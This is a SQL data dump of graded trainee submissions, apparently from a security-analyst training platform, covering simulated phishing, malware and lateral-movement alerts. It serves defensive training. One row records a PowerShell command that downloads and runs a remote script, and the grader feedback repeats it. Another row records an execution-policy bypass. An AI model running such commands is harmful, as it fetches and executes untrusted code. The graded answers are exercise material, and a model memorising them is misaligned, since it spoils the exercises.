(252, 169, 268, 'investigating', NULL, NULL, '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-10.0.0.15\",\"ip-192.168.1.100\",\"ip-203.0.113.45\",\"artifact_1\",\"artifact_3\"],\"selectedActions\":[\"block_ip\",\"block_hash\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 2/18/2026, 10:20:44 AM\\nALERT: Phishing Email Detected [OP: Operation Iron Grid]\\nVERDICT: TRUE POSITIVE\\n\\nKEY FINDINGS (5)\\n----------------\\n- [IP] 192.168.1.100\\n- [IP] 10.0.0.15\\n- [IP] 203.0.113.45\\n- [EMAIL] abc123@example.com\\n- [HASH] 3a7bd3e2360f1edb0f3b4e5c7b6e9d5a\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (2)\\n------------------------------\\n- Block IP/Domain\\n- Block File Hash\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: Analyst (Auto-Generated)\",\"submitted_at\":\"2026-02-18T07:20:57.487Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Missed response actions (2/4)\",\"missed_items\":[\"collect_forensics\",\"escalate\"],\"strengths\":\"Solid analysis\"}', NULL, '2026-02-18 07:17:18', '2026-02-28 21:00:00', 0, NULL),
(253, 169, 269, 'investigating', NULL, NULL, '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-192.168.1.45\",\"ip-203.0.113.50\",\"hash-d41d8cd9\",\"artifact_4\",\"artifact_5\"],\"selectedActions\":[\"reset_credentials\",\"block_hash\",\"isolate_host\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 2/18/2026, 10:22:55 AM\\nALERT: BlackEnergy Malware Execution [OP: Operation Iron Grid]\\nVERDICT: TRUE POSITIVE\\n\\nKEY FINDINGS (5)\\n----------------\\n- [IP] 192.168.1.45\\n- [IP] 203.0.113.50\\n- [HASH] d41d8cd98f00b204e9800998ecf8427e\\n- [FILENAME] invoice.doc\\n- [USERNAME] jdoe\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (3)\\n------------------------------\\n- Isolate Host\\n- Block File Hash\\n- Reset Credentials\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: Analyst (Auto-Generated)\",\"submitted_at\":\"2026-02-18T07:23:00.723Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Missed response actions (2/4)\",\"missed_items\":[\"block_ip\",\"collect_forensics\"],\"strengths\":\"Solid analysis\"}', NULL, '2026-02-18 07:20:57', '2026-02-28 21:00:00', 0, NULL),
(254, 169, 270, 'investigating', NULL, NULL, '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-203.0.113.45\",\"hash-3fa85f64\",\"artifact_1\",\"artifact_4\",\"artifact_5\"],\"selectedActions\":[\"block_ip\",\"reset_credentials\",\"escalate\",\"collect_forensics\",\"block_hash\",\"isolate_host\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 2/18/2026, 10:24:20 AM\\nALERT: Persistence Mechanism Established [OP: Operation Iron Grid]\\nVERDICT: TRUE POSITIVE\\n\\nKEY FINDINGS (5)\\n----------------\\n- [IP] 203.0.113.45\\n- [HASH] 3fa85f64-5717-4562-b3fc-2c963f66afa6\\n- [IP] 10.0.1.15\\n- [FILENAME] C:\\\\Users\\\\compromised_user\\\\AppData\\\\Local\\\\Temp\\\\malicious.exe\\n- [USERNAME] compromised_user\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (6)\\n------------------------------\\n- Isolate Host\\n- Block IP/Domain\\n- Block File Hash\\n- Reset Credentials\\n- Collect Forensics\\n- Escalate to Tier 3\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: Analyst (Auto-Generated)\",\"submitted_at\":\"2026-02-18T07:24:25.229Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)\",\"missed_items\":[],\"strengths\":\"Solid analysis\"}', NULL, '2026-02-18 07:23:00', '2026-02-28 21:00:00', 0, NULL),
(255, 169, 271, 'investigating', NULL, NULL, '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-192.168.1.101\",\"ip-10.0.0.5\",\"hash-5f4dcc3b\",\"artifact_3\",\"artifact_5\"],\"selectedActions\":[\"block_ip\",\"reset_credentials\",\"isolate_host\",\"block_hash\",\"collect_forensics\",\"escalate\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 2/18/2026, 10:26:13 AM\\nALERT: Lateral Movement to OT Network [OP: Operation Iron Grid]\\nVERDICT: TRUE POSITIVE\\n\\nKEY FINDINGS (5)\\n----------------\\n- [IP] 192.168.1.101\\n- [IP] 10.0.0.5\\n- [HASH] 5f4dcc3b5aa765d61d8327deb882cf99\\n- [USERNAME] jdoe\\n- [IP] 203.0.113.55\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (6)\\n------------------------------\\n- Isolate Host\\n- Block IP/Domain\\n- Block File Hash\\n- Reset Credentials\\n- Collect Forensics\\n- Escalate to Tier 3\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: Analyst (Auto-Generated)\",\"submitted_at\":\"2026-02-18T07:26:18.573Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)\",\"missed_items\":[],\"strengths\":\"Solid analysis\"}', NULL, '2026-02-18 07:24:25', '2026-02-28 21:00:00', 0, NULL),
(256, 169, 272, 'investigating', NULL, NULL, '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-192.168.1.105\",\"ip-10.0.0.20\",\"hash-5d41402a\",\"artifact_2\",\"artifact_4\",\"artifact_5\"],\"selectedActions\":[\"reset_credentials\",\"block_ip\",\"isolate_host\",\"block_hash\",\"collect_forensics\",\"escalate\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 2/18/2026, 10:27:46 AM\\nALERT: SCADA System Compromise [OP: Operation Iron Grid]\\nVERDICT: TRUE POSITIVE\\n\\nKEY FINDINGS (6)\\n----------------\\n- [IP] 192.168.1.105\\n- [IP] 10.0.0.20\\n- [HASH] 5d41402abc4b2a76b9719d911017c592\\n- [IP] 203.0.113.45\\n- [FILENAME] malicious_script.sh\\n- [USERNAME] unauthorized_user\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (6)\\n------------------------------\\n- Isolate Host\\n- Block IP/Domain\\n- Block File Hash\\n- Reset Credentials\\n- Collect Forensics\\n- Escalate to Tier 3\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: Analyst (Auto-Generated)\",\"submitted_at\":\"2026-02-18T07:27:51.140Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)\",\"missed_items\":[],\"strengths\":\"Solid analysis\"}', NULL, '2026-02-18 07:26:18', '2026-02-28 21:00:00', 0, NULL),
(257, 169, 274, 'investigating', NULL, NULL, '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-203.0.113.45\",\"ip-10.0.0.15\",\"artifact_3\",\"artifact_4\",\"artifact_5\"],\"selectedActions\":[\"block_ip\",\"reset_credentials\",\"escalate\",\"collect_forensics\",\"block_hash\",\"isolate_host\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 2/18/2026, 10:28:57 AM\\nALERT: Phishing Attempt via Weaponized Job Offers [OP: Operation Silent Tsunami]\\nVERDICT: TRUE POSITIVE\\n\\nKEY FINDINGS (5)\\n----------------\\n- [IP] 203.0.113.45\\n- [IP] 10.0.0.15\\n- [EMAIL] recruiter@example.com\\n- [FILENAME] JobOffer.docm\\n- [HASH] d41d8cd98f00b204e9800998ecf8427e\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (6)\\n------------------------------\\n- Isolate Host\\n- Block IP/Domain\\n- Block File Hash\\n- Reset Credentials\\n- Collect Forensics\\n- Escalate to Tier 3\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: Analyst (Auto-Generated)\",\"submitted_at\":\"2026-02-18T07:29:01.521Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)\",\"missed_items\":[],\"strengths\":\"Solid analysis\"}', NULL, '2026-02-18 07:28:06', '2026-02-28 21:00:00', 0, NULL),
(258, 169, 275, 'investigating', NULL, NULL, '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-192.168.1.45\",\"ip-203.0.113.5\",\"hash-e99a18c4\",\"cmd-1\",\"artifact_1\",\"artifact_5\"],\"selectedActions\":[\"escalate\",\"reset_credentials\",\"block_ip\",\"isolate_host\",\"block_hash\",\"collect_forensics\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 2/18/2026, 10:29:41 AM\\nALERT: Malicious Code Execution on Developer Systems [OP: Operation Silent Tsunami]\\nVERDICT: TRUE POSITIVE\\n\\nKEY FINDINGS (6)\\n----------------\\n- [IP] 192.168.1.45\\n- [IP] 203.0.113.5\\n- [HASH] e99a18c428cb38d5f260853678922e03\\n- [COMMAND] powershell.exe -ExecutionPolicy Bypass -File C:\\\\Users\\\\dev_user01\\\\malicious_script.ps1\\n- [USERNAME] dev_user01\\n- [FILENAME] malicious_script.ps1\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (6)\\n------------------------------\\n- Isolate Host\\n- Block IP/Domain\\n- Block File Hash\\n- Reset Credentials\\n- Collect Forensics\\n- Escalate to Tier 3\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: Analyst (Auto-Generated)\",\"submitted_at\":\"2026-02-18T07:29:46.297Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)\",\"missed_items\":[],\"strengths\":\"Solid analysis\"}', NULL, '2026-02-18 07:29:01', '2026-02-28 21:00:00', 0, NULL),
(259, 169, 276, 'investigating', NULL, NULL, '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-192.168.1.15\",\"ip-10.0.0.5\",\"ip-203.0.113.45\",\"hash-3f5d8f3e\",\"artifact_4\",\"artifact_5\"],\"selectedActions\":[\"block_ip\",\"reset_credentials\",\"isolate_host\",\"block_hash\",\"escalate\",\"collect_forensics\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 2/18/2026, 10:30:33 AM\\nALERT: Establishing Persistence and Lateral Movement [OP: Operation Silent Tsunami]\\nVERDICT: TRUE POSITIVE\\n\\nKEY FINDINGS (6)\\n----------------\\n- [IP] 192.168.1.15\\n- [IP] 10.0.0.5\\n- [IP] 203.0.113.45\\n- [HASH] 3f5d8f3e5c4c4099d2a3f3a7b9b7b6f1\\n- [USERNAME] jdoe\\n- [FILENAME] persistence_tool.exe\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (6)\\n------------------------------\\n- Isolate Host\\n- Block IP/Domain\\n- Block File Hash\\n- Reset Credentials\\n- Collect Forensics\\n- Escalate to Tier 3\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: Analyst (Auto-Generated)\",\"submitted_at\":\"2026-02-18T07:30:38.052Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)\",\"missed_items\":[],\"strengths\":\"Solid analysis\"}', NULL, '2026-02-18 07:29:46', '2026-02-28 21:00:00', 0, NULL),
(260, 169, 277, 'investigating', NULL, NULL, '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-203.0.113.45\",\"ip-10.0.0.5\",\"hash-e3b0c442\",\"artifact_4\",\"artifact_5\"],\"selectedActions\":[\"reset_credentials\",\"escalate\",\"block_ip\",\"isolate_host\",\"block_hash\",\"collect_forensics\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 2/18/2026, 10:31:00 AM\\nALERT: Cryptocurrency Exfiltration and Laundering [OP: Operation Silent Tsunami]\\nVERDICT: TRUE POSITIVE\\n\\nKEY FINDINGS (5)\\n----------------\\n- [IP] 203.0.113.45\\n- [IP] 10.0.0.5\\n- [HASH] e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855\\n- [EMAIL] attacker@malicious.com\\n- [FILENAME] exfil_transaction_details.csv\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (6)\\n------------------------------\\n- Isolate Host\\n- Block IP/Domain\\n- Block File Hash\\n- Reset Credentials\\n- Collect Forensics\\n- Escalate to Tier 3\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: Analyst (Auto-Generated)\",\"submitted_at\":\"2026-02-18T07:31:05.516Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)\",\"missed_items\":[],\"strengths\":\"Solid analysis\"}', NULL, '2026-02-18 07:30:38', '2026-02-28 21:00:00', 0, NULL),
(261, 169, 278, 'investigating', NULL, NULL, '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-192.168.1.15\",\"ip-203.0.113.45\",\"artifact_2\",\"artifact_3\",\"artifact_4\"],\"selectedActions\":[\"block_ip\",\"reset_credentials\",\"collect_forensics\",\"block_hash\",\"isolate_host\",\"escalate\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 2/18/2026, 10:33:38 AM\\nALERT: Compromised Update Detected [OP: Operation Glass Serpent]\\nVERDICT: TRUE POSITIVE\\n\\nKEY FINDINGS (5)\\n----------------\\n- [IP] 192.168.1.15\\n- [IP] 203.0.113.45\\n- [HASH] e5d8870e5bdd26602c622b7e5b0f6b4c\\n- [FILENAME] lib_mgmt.dll\\n- [USERNAME] admin_user\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (6)\\n------------------------------\\n- Isolate Host\\n- Block IP/Domain\\n- Block File Hash\\n- Reset Credentials\\n- Collect Forensics\\n- Escalate to Tier 3\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: Analyst (Auto-Generated)\",\"submitted_at\":\"2026-02-18T07:33:42.401Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)\",\"missed_items\":[],\"strengths\":\"Solid analysis\"}', NULL, '2026-02-18 07:31:21', '2026-02-28 21:00:00', 0, NULL),
(262, 169, 279, 'investigating', NULL, NULL, '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-192.168.1.15\",\"ip-203.0.113.45\",\"hash-b1946ac9\",\"artifact_3\",\"artifact_4\"],\"selectedActions\":[\"escalate\",\"reset_credentials\",\"block_ip\",\"isolate_host\",\"block_hash\",\"collect_forensics\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 2/18/2026, 10:34:05 AM\\nALERT: Execution of Malicious Code [OP: Operation Glass Serpent]\\nVERDICT: TRUE POSITIVE\\n\\nKEY FINDINGS (5)\\n----------------\\n- [IP] 192.168.1.15\\n- [IP] 203.0.113.45\\n- [HASH] b1946ac92492d2347c6235b4d2611184\\n- [FILENAME] malicious.dll\\n- [USERNAME] jdoe\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (6)\\n------------------------------\\n- Isolate Host\\n- Block IP/Domain\\n- Block File Hash\\n- Reset Credentials\\n- Collect Forensics\\n- Escalate to Tier 3\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: Analyst (Auto-Generated)\",\"submitted_at\":\"2026-02-18T07:34:11.520Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)\",\"missed_items\":[],\"strengths\":\"Solid analysis\"}', NULL, '2026-02-18 07:33:42', '2026-02-28 21:00:00', 0, NULL),
(263, 169, 280, 'investigating', NULL, NULL, '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-203.0.113.45\",\"ip-192.168.1.10\",\"hash-abc123de\",\"artifact_5\"],\"selectedActions\":[\"reset_credentials\",\"block_ip\",\"escalate\",\"collect_forensics\",\"block_hash\",\"isolate_host\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 2/18/2026, 10:34:35 AM\\nALERT: Establish Persistence [OP: Operation Glass Serpent]\\nVERDICT: TRUE POSITIVE\\n\\nKEY FINDINGS (4)\\n----------------\\n- [IP] 203.0.113.45\\n- [IP] 192.168.1.10\\n- [HASH] abc123def4567890abc123def4567890\\n- [USERNAME] admin_user\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (6)\\n------------------------------\\n- Isolate Host\\n- Block IP/Domain\\n- Block File Hash\\n- Reset Credentials\\n- Collect Forensics\\n- Escalate to Tier 3\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: Analyst (Auto-Generated)\",\"submitted_at\":\"2026-02-18T07:34:39.301Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)\",\"missed_items\":[],\"strengths\":\"Solid analysis\"}', NULL, '2026-02-18 07:34:11', '2026-02-28 21:00:00', 0, NULL),
(264, 169, 281, 'investigating', NULL, NULL, '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-192.168.1.105\",\"ip-10.0.0.55\",\"ip-203.0.113.45\",\"hash-e99a18c4\",\"artifact_4\",\"artifact_6\"],\"selectedActions\":[\"escalate\",\"collect_forensics\",\"block_hash\",\"reset_credentials\",\"block_ip\",\"isolate_host\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 2/18/2026, 10:35:58 AM\\nALERT: Lateral Movement and Data Exfiltration [OP: Operation Glass Serpent]\\nVERDICT: TRUE POSITIVE\\n\\nKEY FINDINGS (6)\\n----------------\\n- [IP] 192.168.1.105\\n- [IP] 10.0.0.55\\n- [IP] 203.0.113.45\\n- [HASH] e99a18c428cb38d5f260853678922e03\\n- [FILENAME] confidential_data.xlsx\\n- [USERNAME] jdoe\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (6)\\n------------------------------\\n- Isolate Host\\n- Block IP/Domain\\n- Block File Hash\\n- Reset Credentials\\n- Collect Forensics\\n- Escalate to Tier 3\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: Analyst (Auto-Generated)\",\"submitted_at\":\"2026-02-18T07:36:03.538Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)\",\"missed_items\":[],\"strengths\":\"Solid analysis\"}', NULL, '2026-02-18 07:34:39', '2026-02-28 21:00:00', 0, NULL),
(265, 169, 285, 'investigating', NULL, NULL, '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-185.92.220.34\",\"ip-10.0.2.15\",\"artifact_2\",\"artifact_3\",\"artifact_4\"],\"selectedActions\":[\"block_ip\",\"reset_credentials\",\"escalate\",\"collect_forensics\",\"block_hash\",\"isolate_host\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 2/18/2026, 10:40:09 AM\\nALERT: Spear-Phishing Email Campaign Detected [OP: Operation Phantom Ballot]\\nVERDICT: TRUE POSITIVE\\n\\nKEY FINDINGS (5)\\n----------------\\n- [IP] 185.92.220.34\\n- [IP] 10.0.2.15\\n- [EMAIL] john.doe@fakeorg.com\\n- [HASH] e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855\\n- [URL] http://malicious-link.com/login\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (6)\\n------------------------------\\n- Isolate Host\\n- Block IP/Domain\\n- Block File Hash\\n- Reset Credentials\\n- Collect Forensics\\n- Escalate to Tier 3\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: Analyst (Auto-Generated)\",\"submitted_at\":\"2026-02-18T07:40:14.400Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)\",\"missed_items\":[],\"strengths\":\"Solid analysis\"}', NULL, '2026-02-18 07:36:11', '2026-02-28 21:00:00', 0, NULL),
(266, 169, 286, 'investigating', NULL, NULL, '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-10.14.22.5\",\"ip-203.0.113.45\",\"hash-d41d8cd9\",\"domain-http://login\",\"domain-login-secure\"],\"selectedActions\":[\"block_ip\",\"reset_credentials\",\"escalate\",\"block_hash\",\"isolate_host\",\"collect_forensics\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 2/18/2026, 10:41:42 AM\\nALERT: Malicious Domain Infrastructure Identified [OP: Operation Phantom Ballot]\\nVERDICT: TRUE POSITIVE\\n\\nKEY FINDINGS (5)\\n----------------\\n- [IP] 10.14.22.5\\n- [IP] 203.0.113.45\\n- [HASH] d41d8cd98f00b204e9800998ecf8427e\\n- [DOMAIN] http://login-secure-portal.com/login\\n- [DOMAIN] login-secure-portal.com\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (6)\\n------------------------------\\n- Isolate Host\\n- Block IP/Domain\\n- Block File Hash\\n- Reset Credentials\\n- Collect Forensics\\n- Escalate to Tier 3\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: Analyst (Auto-Generated)\",\"submitted_at\":\"2026-02-18T07:41:47.317Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)\",\"missed_items\":[],\"strengths\":\"Solid analysis\"}', NULL, '2026-02-18 07:40:14', '2026-02-28 21:00:00', 0, NULL),
(267, 169, 287, 'investigating', NULL, NULL, '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-203.0.113.45\",\"ip-10.0.0.25\",\"hash-e99a18c4\",\"artifact_2\"],\"selectedActions\":[\"escalate\",\"reset_credentials\",\"collect_forensics\",\"isolate_host\",\"block_ip\",\"block_hash\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 2/18/2026, 10:42:33 AM\\nALERT: OAuth Token Abuse Technique Detected [OP: Operation Phantom Ballot]\\nVERDICT: TRUE POSITIVE\\n\\nKEY FINDINGS (4)\\n----------------\\n- [IP] 203.0.113.45\\n- [IP] 10.0.0.25\\n- [HASH] e99a18c428cb38d5f260853678922e03\\n- [USERNAME] j.doe@company.com\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (6)\\n------------------------------\\n- Isolate Host\\n- Block IP/Domain\\n- Block File Hash\\n- Reset Credentials\\n- Collect Forensics\\n- Escalate to Tier 3\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: Analyst (Auto-Generated)\",\"submitted_at\":\"2026-02-18T07:42:36.455Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)\",\"missed_items\":[],\"strengths\":\"Solid analysis\"}', NULL, '2026-02-18 07:41:47', '2026-02-28 21:00:00', 0, NULL),
(268, 169, 288, 'investigating', NULL, NULL, NULL, NULL, NULL, '2026-02-18 07:42:36', '2026-02-18 07:42:36', 0, NULL),
(269, 170, 268, 'investigating', NULL, NULL, NULL, NULL, NULL, '2026-02-18 08:19:53', '2026-02-18 08:19:53', 0, NULL),
(270, 171, 268, 'investigating', NULL, NULL, NULL, NULL, NULL, '2026-02-18 09:49:56', '2026-02-18 09:49:56', 0, NULL),
(271, 178, 268, 'investigating', NULL, NULL, NULL, NULL, NULL, '2026-02-19 05:19:23', '2026-02-19 05:19:23', 0, NULL),
(272, 177, 268, 'investigating', NULL, NULL, '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-192.168.1.100\",\"ip-10.0.0.15\",\"ip-203.0.113.45\",\"artifact_1\",\"artifact_3\"],\"selectedActions\":[\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 2/22/2026, 4:25:52 PM\\nALERT: Phishing Email Detected [OP: Operation Iron Grid]\\nVERDICT: TRUE POSITIVE\\n\\nKEY FINDINGS (5)\\n----------------\\n- [IP] 192.168.1.100\\n- [IP] 10.0.0.15\\n- [IP] 203.0.113.45\\n- [EMAIL] abc123@example.com\\n- [HASH] 3a7bd3e2360f1edb0f3b4e5c7b6e9d5a\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (4)\\n------------------------------\\n- Block IP/Domain\\n- Block File Hash\\n- Collect Forensics\\n- Escalate to Tier 3\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: Analyst (Auto-Generated)\",\"submitted_at\":\"2026-02-22T10:56:28.351Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). All critical artifacts identified (+30). Response actions correct (+30)\",\"missed_items\":[],\"strengths\":\"Solid analysis\"}', NULL, '2026-02-19 14:40:27', '2026-02-28 21:00:00', 0, NULL),
(273, 126, 637, 'investigating', NULL, NULL, '{\"playbook_version\":2,\"checkedArtifacts\":[\"ip-192.168.1.10\",\"ip-203.0.113.77\",\"hash-d41d8cd9\",\"cmd-1\"],\"selectedActions\":[\"isolate_host\",\"block_hash\",\"block_ip\",\"escalate\"],\"verdict\":\"true_positive\",\"conclusion\":\"INVESTIGATION EXECUTIVE SUMMARY\\n===============================\\nDATE: 19-2-2026, 21:43:04\\nALERT: Suspicious Process Execution Detected\\nVERDICT: TRUE POSITIVE\\n\\nKEY FINDINGS (4)\\n----------------\\n- [IP] 192.168.1.10\\n- [IP] 203.0.113.77\\n- [HASH] d41d8cd98f00b204e9800998ecf8427e\\n- [COMMAND] powershell.exe -c IEX (New-Object Net.WebClient).DownloadString(\'http://203.0.113.77/malware.ps1\')\\n\\nCONTAINMENT PROTOCOLS DEPLOYED (4)\\n------------------------------\\n- Isolate Host\\n- Block IP/Domain\\n- Block File Hash\\n- Escalate to Tier 3\\n\\nANALYSIS\\n--------\\nInvestigation concluded based on verified telemetry and playbook protocols. All identified threats have been neutralized or escalated as per standard operating procedure.\\n\\nSIGNED: Analyst (Auto-Generated)\",\"submitted_at\":\"2026-02-19T20:43:17.501Z\"}', '{\"verdict_correctness\":\"Correct\",\"key_findings\":\"Verdict is correct (+40). Missed critical artifacts: command powershell.exe -c IEX (New-Object Net.WebClient).DownloadString(\'http://203.0.113.77/malware.ps1\') (1/2). Response actions correct (+30)\",\"missed_items\":[\"command: powershell.exe -c IEX (New-Object Net.WebClient).DownloadString(\'http://203.0.113.77/malware.ps1\')\"],\"strengths\":\"Solid analysis\"}', NULL, '2026-02-19 20:39:44', '2026-02-28 21:00:00', 0, NULL),
(274, 181, 268, 'investigating', NULL, NULL, NULL, NULL, NULL, '2026-02-20 03:05:11', '2026-02-20 03:05:11', 0, NULL),
(275, 183, 268, 'investigating', NULL, NULL, NULL, NULL, NULL, '2026-02-20 03:55:15', '2026-02-20 03:55:15', 0, NULL),
(276, 183, 767, 'investigating', NULL, NULL, NULL, NULL, '2026-02-20 07:46:11', '2026-02-20 04:38:11', '2026-02-20 04:38:11', 0, NULL),
